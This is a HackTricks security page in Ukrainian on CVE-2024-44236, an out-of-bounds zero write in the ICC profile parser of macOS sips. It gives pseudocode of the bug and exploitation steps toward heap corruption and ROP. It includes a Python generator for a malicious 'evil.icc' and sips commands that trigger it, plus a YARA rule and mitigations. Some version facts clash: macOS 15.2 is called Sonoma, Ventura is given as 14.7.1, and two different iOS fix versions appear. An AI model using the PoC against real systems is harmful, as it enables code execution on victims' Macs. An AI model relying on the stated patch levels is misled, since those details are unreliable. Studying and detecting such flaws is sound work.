WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Уразливість нульового запису поза межами в Apple macOS Scriptable Image Processing System (sips) парсера ICC профілю (macOS 15.0.1, sips-307) дозволяє зловмиснику пошкодити метадані купи та перевести примітив у повне виконання коду. Помилка знаходиться в обробці поля offsetToCLUT тегів lutAToBType (mAB ) та lutBToAType (mBA ). Якщо зловмисники встановлять offsetToCLUT == tagDataSize, парсер стирає 16 байт після кінця буфера купи. Спосіб розподілу пам'яті дозволяє зловмиснику обнулити структури аллокатора або вказівники C++, які пізніше будуть розіменовані, що призводить до ланцюга випадкового запису для виконання (CVE-2024-44236, CVSS 7.8).

Apple виправила помилку в macOS Sonoma 15.2 / Ventura 14.7.1 (30 жовтня 2024 року). Друга варіація (CVE-2025-24185) була виправлена в macOS 15.5 та iOS/iPadOS 18.5 1 квітня 2025 року.

Уразливий код

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Кроки експлуатації

  1. Створіть шкідливий .icc профіль
  • Налаштуйте мінімальний заголовок ICC (acsp) і додайте один тег mAB (або mBA ).
  • Налаштуйте таблицю тегів так, щоб offsetToCLUT дорівнював розміру тегу (tagDataSize).
  • Розмістіть дані, контрольовані атакуючим, безпосередньо після тегу, щоб 16 нульових записів перекривали метадані аллокатора.
  1. Запустіть парсинг з будь-якою операцією sips, яка торкається профілю
bash
# шлях перевірки (файл виводу не потрібен)
sips --verifyColor evil.icc
# або неявно при конвертації зображень, які вбудовують профіль
sips -s format png payload.jpg --out out.png
  1. Корупція метаданих купи ➜ довільний запис ➜ ROP В аллокаторі nano_zone за замовчуванням Apple, метадані для 16-байтових слотів знаходяться безпосередньо після вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищують meta->slot_B. Після наступного free, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому алокувати фейковий об'єкт за довільною адресою і перезаписати вказівник C++ vtable, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC.

Швидкий генератор PoC (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

Правило виявлення YARA

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Вплив

Відкриття або обробка спеціально підготовленого ICC профілю призводить до віддаленого виконання довільного коду в контексті викликаючого користувача (Preview, QuickLook, рендеринг зображень Safari, вкладення в Mail тощо), обходячи Gatekeeper, оскільки профіль може бути вбудований у інакше безпечні зображення (PNG/JPEG/TIFF).

Виявлення та пом'якшення

  • Патч! Переконайтеся, що хост працює на macOS ≥ 15.2 / 14.7.1 (або iOS/iPadOS ≥ 18.1).
  • Розгорніть правило YARA вище на поштових шлюзах та рішеннях EDR.
  • Видаліть або очистіть вбудовані ICC профілі за допомогою exiftool -icc_profile= -overwrite_original <file> перед подальшою обробкою ненадійних файлів.
  • Посиліть Preview/QuickLook, запустивши їх у пісочницях "прозорість та модернізація" ВМ під час аналізу невідомого контенту.
  • Для DFIR шукайте нещодавнє виконання sips --verifyColor або завантаження бібліотеки ColorSync пісочничними додатками в об'єднаному журналі.

Посилання

  • Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple security updates HT213981 “Про вміст безпеки macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks